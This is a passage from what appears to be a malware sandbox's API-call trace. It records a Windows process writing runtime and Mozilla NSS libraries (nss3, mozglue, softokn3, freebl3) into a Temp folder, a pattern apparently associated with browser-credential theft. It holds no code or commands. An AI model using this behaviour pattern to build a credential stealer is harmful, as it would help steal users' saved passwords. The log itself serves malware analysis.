lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.516] VirtualAlloc (lpAddress=0x43e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x43e4000 [0056.517] VirtualFree (lpAddress=0x43e0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.517] WriteFile (in: hFile=0xe8, lpBuffer=0x43e400c*, nNumberOfBytesToWrite=0x11d38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43e400c*, lpNumberOfBytesWritten=0x18e5c4*=0x11d38, lpOverlapped=0x0) returned 1 [0056.519] CloseHandle (hObject=0xe8) returned 1 [0056.520] VirtualFree (lpAddress=0x43e4000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0056.521] VirtualFree (lpAddress=0x43c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.521] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.521] VirtualFree (lpAddress=0x43d0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0056.522] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43cc00c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-process-l1-1-0.dllllll.dll.dll") returned 33 [0056.522] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.529] WriteFile (in: hFile=0xe8, lpBuffer=0x43b7268*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b7268*, lpNumberOfBytesWritten=0x18e5c4*=0x4b38, lpOverlapped=0x0) returned 1 [0056.530] CloseHandle (hObject=0xe8) returned 1 [0056.531] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.531] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43cc03c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-runtime-l1-1-0.dllllll.dll.dll") returned 33 [0056.532] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.532] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.533] WriteFile (in: hFile=0xe8, lpBuffer=0x43bcbb0*, nNumberOfBytesToWrite=0x5938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bcbb0*, lpNumberOfBytesWritten=0x18e5c4*=0x5938, lpOverlapped=0x0) returned 1 [0056.534] CloseHandle (hObject=0xe8) returned 1 [0056.534] VirtualFree (lpAddress=0x43c0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.535] VirtualFree (lpAddress=0x43cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.535] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.536] VirtualFree (lpAddress=0x43b4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43bcbb0, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-stdio-l1-1-0.dllllllll.dll.dll") returned 31 [0056.536] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.537] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.537] VirtualFree (lpAddress=0x43c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.537] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x5f30, lpOverlapped=0x0) returned 1 [0056.538] CloseHandle (hObject=0xe8) returned 1 [0056.539] VirtualFree (lpAddress=0x43b4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.540] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.540] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-string-l1-1-0.dlllllll.dll.dll") returned 32 [0056.540] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.541] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.541] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.541] WriteFile (in: hFile=0xe8, lpBuffer=0x43c000c*, nNumberOfBytesToWrite=0x5bc0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c000c*, lpNumberOfBytesWritten=0x18e5c4*=0x5bc0, lpOverlapped=0x0) returned 1 [0056.543] CloseHandle (hObject=0xe8) returned 1 [0056.543] VirtualFree (lpAddress=0x43c0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.544] VirtualAlloc (lpAddress=0x43bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43bc000 [0056.544] VirtualFree (lpAddress=0x43b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b8320, cbMultiByte=30, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-time-l1-1-0.dlllllllll.dll.dll") returned 30 [0056.544] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.547] WriteFile (in: hFile=0xe8, lpBuffer=0x43bd494*, nNumberOfBytesToWrite=0x5138, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bd494*, lpNumberOfBytesWritten=0x18e5c4*=0x5138, lpOverlapped=0x0) returned 1 [0056.548] CloseHandle (hObject=0xe8) returned 1 [0056.549] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.549] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.549] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43bd494, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-utility-l1-1-0.dllllll.dll.dll") returned 33 [0056.550] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.550] WriteFile (in: hFile=0xe8, lpBuffer=0x43c1e0c*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c1e0c*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.551] CloseHandle (hObject=0xe8) returned 1 [0056.552] VirtualFree (lpAddress=0x43c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.552] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.555] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bd90cc, cbMultiByte=11, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="freebl3.dllcrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0056.556] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/freebl3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\freebl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.558] VirtualAlloc (lpAddress=0x4418000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x4418000 [0056.559] VirtualFree (lpAddress=0x4414000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.561] WriteFile (in: hFile=0xe8, lpBuffer=0x441800c*, nNumberOfBytesToWrite=0x513d0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x441800c*, lpNumberOfBytesWritten=0x18e5c4*=0x513d0, lpOverlapped=0x0) returned 1 [0056.566] CloseHandle (hObject=0xe8) returned 1 [0056.570] VirtualFree (lpAddress=0x4418000, dwSize=0x54000, dwFreeType=0x4000) returned 1 [0056.572] VirtualAlloc (lpAddress=0x4414000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x4414000 [0056.574] VirtualFree (lpAddress=0x43c4000, dwSize=0x4c000, dwFreeType=0x4000) returned 1 [0056.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c000c, cbMultiByte=11, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="mozglue.dllcrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0056.576] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/mozglue.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\mozglue.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.576] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.577] WriteFile (in: hFile=0xe8, lpBuffer=0x43c0024*, nNumberOfBytesToWrite=0x21fd0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c0024*, lpNumberOfBytesWritten=0x18e5c4*=0x21fd0, lpOverlapped=0x0) returned 1 [0056.579] CloseHandle (hObject=0xe8) returned 1 [0056.581] VirtualFree (lpAddress=0x43c4000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0056.582] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x44a0000 [0056.582] VirtualAlloc (lpAddress=0x44a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x44a0000 [0056.582] VirtualAlloc (lpAddress=0x4438000, dwSize=0x68000, flAllocationType=0x1000, flProtect=0x4) returned 0x4438000 [0056.586] VirtualFree (lpAddress=0x4410000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0056.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c0024, cbMultiByte=12, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="msvcp140.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0056.587] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/msvcp140.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.592] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.595] WriteFile (in: hFile=0xe8, lpBuffer=0x43c0040*, nNumberOfBytesToWrite=0x6b738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c0040*, lpNumberOfBytesWritten=0x18e5c4*=0x6b738, lpOverlapped=0x0) returned 1 [0056.604] CloseHandle (hObject=0xe8) returned 1 [0056.608] VirtualFree (lpAddress=0x43c4000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0056.610] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.610] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x45a0000 [0056.610] VirtualAlloc (lpAddress=0x45a0000, dwSize=0x34000, flAllocationType=0x1000, flProtect=0x4) returned 0x45a0000 [0056.611] VirtualAlloc (lpAddress=0x44a4000, dwSize=0xfc000, flAllocationType=0x1000, flProtect=0x4) returned 0x44a4000 [0056.622] VirtualFree (lpAddress=0x4434000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0056.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bd90cc, cbMultiByte=8, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="nss3.dll.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 8 [0056.625] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/nss3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\nss3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.625] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x46d0000 [0056.625] VirtualAlloc (lpAddress=0x46d0000, dwSize=0x34000, flAllocationType=0x1000, flProtect=0x4) returned 0x46d0000 [0056.626] VirtualAlloc (lpAddress=0x45d4000, dwSize=0xfc000, flAllocationType=0x1000, flProtect=0x4) returned 0x45d4000 [0056.636] WriteFile (in: hFile=0xe8, lpBuffer=0x45d04f4*, nNumberOfBytesToWrite=0x12fbd0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x45d04f4*, lpNumberOfBytesWritten=0x18e5c4*=0x12fbd0, lpOverlapped=0x0) returned 1 [0056.660] CloseHandle (hObject=0xe8) returned 1 [0056.675] VirtualFree (lpAddress=0x46d0000, dwSize=0x34000, dwFreeType=0x4000) returned 1 [0056.676] VirtualFree (lpAddress=0x45d4000, dwSize=0xfc000, dwFreeType=0x4000) returned 1 [0056.681] VirtualFree (lpAddress=0x46d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.682] VirtualAlloc (lpAddress=0x45d4000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x45d4000 [0056.682] VirtualFree (lpAddress=0x45a0000, dwSize=0x30000, dwFreeType=0x4000) returned 1 [0056.683] VirtualFree (lpAddress=0x44a0000, dwSize=0x100000, dwFreeType=0x4000) returned 1 [0056.688] VirtualFree (lpAddress=0x44a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x45d04f4, cbMultiByte=11, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="nssdbm3.dlllrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0056.690] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/nssdbm3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\nssdbm3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.692] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.692] VirtualFree (lpAddress=0x45e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.693] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x169d0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x169d0, lpOverlapped=0x0) returned 1 [0056.695] CloseHandle (hObject=0xe8) returned 1 [0056.696] VirtualFree (lpAddress=0x43b4000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0056.697] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.699] VirtualFree (lpAddress=0x45d0000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0056.699] VirtualFree (lpAddress=0x45a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=12, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="softokn3.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0056.702] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/softokn3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\softokn3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.702] VirtualAlloc (lpAddress=0x43d8000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d8000 [0056.703] WriteFile (in: hFile=0xe8, lpBuffer=0x43d5b1c*, nNumberOfBytesToWrite=0x233d0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43d5b1c*, lpNumberOfBytesWritten=0x18e5c4*=0x233d0, lpOverlapped=0x0) returned 1 [0056.706] CloseHandle (hObject=0xe8) returned 1 [0056.707] VirtualFree (lpAddress=0x43d8000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0056.708] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x44a0000 [0056.708] VirtualAlloc (lpAddress=0x44a0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x44a0000 [0056.709] VirtualAlloc (lpAddress=0x43d8000, dwSize=0xc8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d8000 [0056.720] VirtualFree (lpAddress=0x43b4000, dwSize=0x20000, dwFreeType=0x4000) returned 1 [0056.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43d5b1c, cbMultiByte=12, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="ucrtbase.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0056.720] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/ucrtbase.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.722] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x45c0000 [0056.722] VirtualAlloc (lpAddress=0x45c0000, dwSize=0x48000, flAllocationType=0x1000, flProtect=0x4) returned 0x45c0000 [0056.723] VirtualAlloc (lpAddress=0x44f0000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x44f0000 [0056.733] WriteFile (in: hFile=0xe8, lpBuffer=0x44ec880*, nNumberOfBytesToWrite=0x116d38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x44ec880*, lpNumberOfBytesWritten=0x18e5c4*=0x116d38, lpOverlapped=0x0) returned 1 [0056.754] CloseHandle (hObject=0xe8) returned 1 [0056.766] VirtualFree (lpAddress=0x45c0000, dwSize=0x48000, dwFreeType=0x4000) returned 1 [0056.767] VirtualFree (lpAddress=0x44f0000, dwSize=0xd0000, dwFreeType=0x4000) returned 1 [0056.771] VirtualFree (lpAddress=0x45c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.772] VirtualAlloc (lpAddress=0x44f0000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x44f0000 [0056.773] VirtualFree (lpAddress=0x44a0000, dwSize=0x4c000, dwFreeType=0x4000) returned 1 [0056.774] VirtualFree (lpAddress=0x43d4000, dwSize=0xcc000, dwFreeType=0x4000) returned 1 [0056.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x44ec880, cbMultiByte=16, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="vcruntime140.dlltility-l1-1-0.dllllll.dll.dll") returned 16 [0056.778] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/vcruntime140.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.778] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.779] VirtualFree (lpAddress=0x4504000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.779] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x14748, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x14748, lpOverlapped=0x0) returned 1 [0056.781] CloseHandle (hObject=0xe8) returned 1 [0056.782] VirtualFree (lpAddress=0x43b4000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0056.783] VirtualFree (lpAddress=0x44ec000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0056.783] VirtualFree (lpAddress=0x44a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.786] VirtualFree (lpAddress=0x3bd0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.786] VirtualFree (lpAddress=0x3bd4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.786] VirtualFree (lpAddress=0x3bd8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.786] VirtualFree (lpAddress=0x42a4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.787] VirtualFree (lpAddress=0x42a8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.787] VirtualFree (lpAddress=0x42ac000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.787] VirtualFree (lpAddress=0x42b0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.787] VirtualFree (lpAddress=0x42bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.788] VirtualFree (lpAddress=0x42c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.788] VirtualFree (lpAddress=0x42c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.788] VirtualFree (lpAddress=0x42c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.788] VirtualFree (lpAddress=0x42cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.788] VirtualFree (lpAddress=0x42d0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.789] VirtualFree (lpAddress=0x42dc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.789] VirtualFree (lpAddress=0x42e0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.789] VirtualFree (lpAddress=0x42e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.790] VirtualFree (lpAddress=0x42e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.790] VirtualFree (lpAddress=0x42ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.790] VirtualFree (lpAddress=0x42f0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.790] VirtualFree (lpAddress=0x42fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.791] VirtualFree (lpAddress=0x4300000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.791] VirtualFree (lpAddress=0x4304000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.791] VirtualFree (lpAddress=0x4308000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.791] VirtualFree (lpAddress=0x430c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.791] VirtualFree (lpAddress=0x4310000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.792] VirtualFree (lpAddress=0x431c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.792] VirtualFree (lpAddress=0x4320000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.792] VirtualFree (lpAddress=0x4324000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.792] VirtualFree (lpAddress=0x4328000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.793] VirtualFree (lpAddress=0x4334000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.793] VirtualFree (lpAddress=0x4338000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.793] VirtualFree (lpAddress=0x4344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.793] VirtualFree (lpAddress=0x4348000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0056.794] VirtualFree (lpAddress=0x435c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.794] VirtualFree (lpAddress=0x4360000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.794] VirtualFree (lpAddress=0x4364000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.795] VirtualFree (lpAddress=0x436c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.795] VirtualFree (lpAddress=0x4370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.795] VirtualFree (lpAddress=0x4374000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.795] VirtualFree (lpAddress=0x524000, dwSize=0x4c000, dwFreeType=0x4000) returned 1 